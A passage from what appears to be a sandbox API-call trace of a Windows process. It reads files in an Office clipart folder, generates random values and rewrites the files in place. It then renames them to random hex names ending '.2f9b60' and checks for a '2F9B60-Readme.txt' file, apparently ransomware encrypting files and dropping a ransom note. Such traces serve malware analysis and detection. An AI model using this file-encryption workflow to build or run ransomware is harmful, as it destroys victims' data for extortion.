(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a96a0 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9c10 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.643] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.643] WriteFile (in: hFile=0x1790, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3acdf930, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3acdf930*=0x10a, lpOverlapped=0x0) returned 1 [0117.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0117.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0117.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0117.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0117.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0117.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.647] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="d1") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="8b") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="7e") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="40") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="7d") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="40") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="c2") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="9e") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="40") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="ef") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="f1") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="47") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="72") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="e3") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="78") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="c5") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="85") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="23") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="3c") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="2a") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="fe") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="63") returned 2 [0117.647] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="f4") returned 2 [0117.648] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="43") returned 2 [0117.648] RtlInitAnsiString (in: DestinationString=0x3acdf9a8, SourceString="d18b7e407d40c29e40eff14772e378c585233c2afe63f443" | out: DestinationString="d18b7e407d40c29e40eff14772e378c585233c2afe63f443") [0117.648] RtlAnsiStringToUnicodeString (in: DestinationString=0x3acdf978, SourceString="d18b7e407d40c29e40eff14772e378c585233c2afe63f443", AllocateDestinationString=1 | out: DestinationString="d18b7e407d40c29e40eff14772e378c585233c2afe63f443") returned 0x0 [0117.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8f30 [0117.648] RtlFreeAnsiString (AnsiString="d") [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b20) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f40) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ca0) returned 1 [0117.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862ca0 [0117.649] wcscat (in: _Dest=0x1b862ca0, _Source="d18b7e407d40" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d18b7e407d40") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d18b7e407d40" [0117.649] wcscat (in: _Dest=0x1b862ca0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d18b7e407d40.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d18b7e407d40.2f9b60" [0117.649] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d18b7e407d40.2f9b60", NtPathName=0x3acdf950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d18b7e407d40.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118540 [0117.649] NtSetInformationFile (FileHandle=0x1790, IoStatusBlock=0x3acdf9f0, FileInformation=0x118540, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0117.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0117.749] NtQueryInformationFile (in: FileHandle=0x1790, IoStatusBlock=0x3acdf9b8, FileInformation=0x3acdf9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3acdf9b8, FileInformation=0x3acdf9c8) returned 0x0 [0117.749] NtSetInformationFile (FileHandle=0x1790, IoStatusBlock=0x3acdf9b8, FileInformation=0x3acdf9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862ca0) returned 1 [0117.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8f30) returned 1 [0117.750] FlushFileBuffers (hFile=0x1790) returned 1 [0117.757] CloseHandle (hObject=0x1790) returned 1 [0117.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ac0b0 [0117.759] wcscpy (in: _Dest=0x202ac0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.759] wcscat (in: _Dest=0x202ac0b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 [0117.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac210) returned 1 Thread: id = 1293 os_tid = 0xfa8 [0116.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif")) returned 0x20 [0117.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", dwFileAttributes=0x20) returned 1 [0117.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a0 [0117.705] GetFileSizeEx (in: hFile=0x17a0, lpFileSize=0x3b45fca0 | out: lpFileSize=0x3b45fca0*=3012) returned 1 [0117.705] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0xbc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.705] ReadFile (in: hFile=0x17a0, lpBuffer=0x3b45fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b45fc68, lpOverlapped=0x0 | out: lpBuffer=0x3b45fc20*, lpNumberOfBytesRead=0x3b45fc68*=0x4, lpOverlapped=0x0) returned 1 [0117.709] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0117.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0117.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0117.709] NtQuerySystemTime (in: CurrentTime=0x3b45fb60 | out: CurrentTime=0x3b45fb60*=132462177231538000) returned 0x0 [0117.709] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x1499e2a0 [0117.709] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x6f01f137 [0117.709] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x5bf553cc [0117.709] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x53854245 [0117.709] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x1bc5d1c [0117.709] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x6e909939 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x60c173cb [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x19425182 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x4ef8cd81 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x1513d9ad [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x47616f0b [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x74d691dc [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x7b2630f3 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x793dda84 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x5cced6a1 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x7248943e [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x2554d140 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x47beb7c0 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x66a9fc5 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x14119a77 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x69ae1faf [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x70fa2617 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x1faead92 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x3b619914 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x39b936c2 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x4a8ad83d [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x61fb0cea [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x2e4ce761 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x1bc07752 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0xc779bfc [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0xc80c3e9 [0117.710] RtlRandomEx (in: Seed=0x3b45fb50 | out: Seed=0x3b45fb50) returned 0x71a1b570 [0117.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0117.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa650 [0117.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0117.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0117.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0117.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0117.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0117.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0117.719] ReadFile (in: hFile=0x17a0, lpBuffer=0x41fc0d80, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x3b45fb50, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesRead=0x3b45fb50*=0xbc4, lpOverlapped=0x0) returned 1 [0117.719] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.719] WriteFile (in: hFile=0x17a0, lpBuffer=0x41fb5950*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x3b45fb54, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesWritten=0x3b45fb54*=0xbc4, lpOverlapped=0x0) returned 1 [0117.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0117.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0117.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0117.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0117.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0117.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa560 [0117.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa530 [0117.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa530) returned 1 [0117.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa530 [0117.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0117.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0117.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0117.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.723] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.723] WriteFile (in: hFile=0x17a0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b45fc70, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3b45fc70*=0x10a, lpOverlapped=0x0) returned 1 [0117.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0117.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0117.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0117.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa470 [0117.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa470) returned 1 [0117.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.726] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="50") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="b0") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="39") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="4d") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="40") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="46") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="f2") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="3d") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="e2") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="44") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="91") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="84") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="f9") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="d7") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="b7") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="20") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="88") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="1f") returned 2 [0117.726] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="30") returned 2 [0117.727] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="79") returned 2 [0117.727] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="bc") returned 2 [0117.727] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="18") returned 2 [0117.727] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="ee") returned 2 [0117.727] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="c9") returned 2 [0117.727] RtlInitAnsiString (in: DestinationString=0x3b45fce8, SourceString="50b0394d4046f23de2449184f9d7b720881f3079bc18eec9" | out: DestinationString="50b0394d4046f23de2449184f9d7b720881f3079bc18eec9") [0117.727] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b45fcb8, SourceString="50b0394d4046f23de2449184f9d7b720881f3079bc18eec9", AllocateDestinationString=1 | out: DestinationString="50b0394d4046f23de2449184f9d7b720881f3079bc18eec9") returned 0x0 [0117.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0117.727] RtlFreeAnsiString (AnsiString="5") [0117.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa530) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0117.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa650) returned 1 [0117.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c240 [0117.728] wcscat (in: _Dest=0x2050c240, _Source="50b0394d4046" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\50b0394d4046") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\50b0394d4046" [0117.728] wcscat (in: _Dest=0x2050c240, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\50b0394d4046.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\50b0394d4046.2f9b60" [0117.729] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\50b0394d4046.2f9b60", NtPathName=0x3b45fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\50b0394d4046.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118e30 [0117.729] NtSetInformationFile (FileHandle=0x17a0, IoStatusBlock=0x3b45fd30, FileInformation=0x118e30, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118e30) returned 1 [0117.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0117.761] NtQueryInformationFile (in: FileHandle=0x17a0, IoStatusBlock=0x3b45fcf8, FileInformation=0x3b45fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b45fcf8, FileInformation=0x3b45fd08) returned 0x0 [0117.761] NtSetInformationFile (FileHandle=0x17a0, IoStatusBlock=0x3b45fcf8, FileInformation=0x3b45fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c240) returned 1 [0117.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 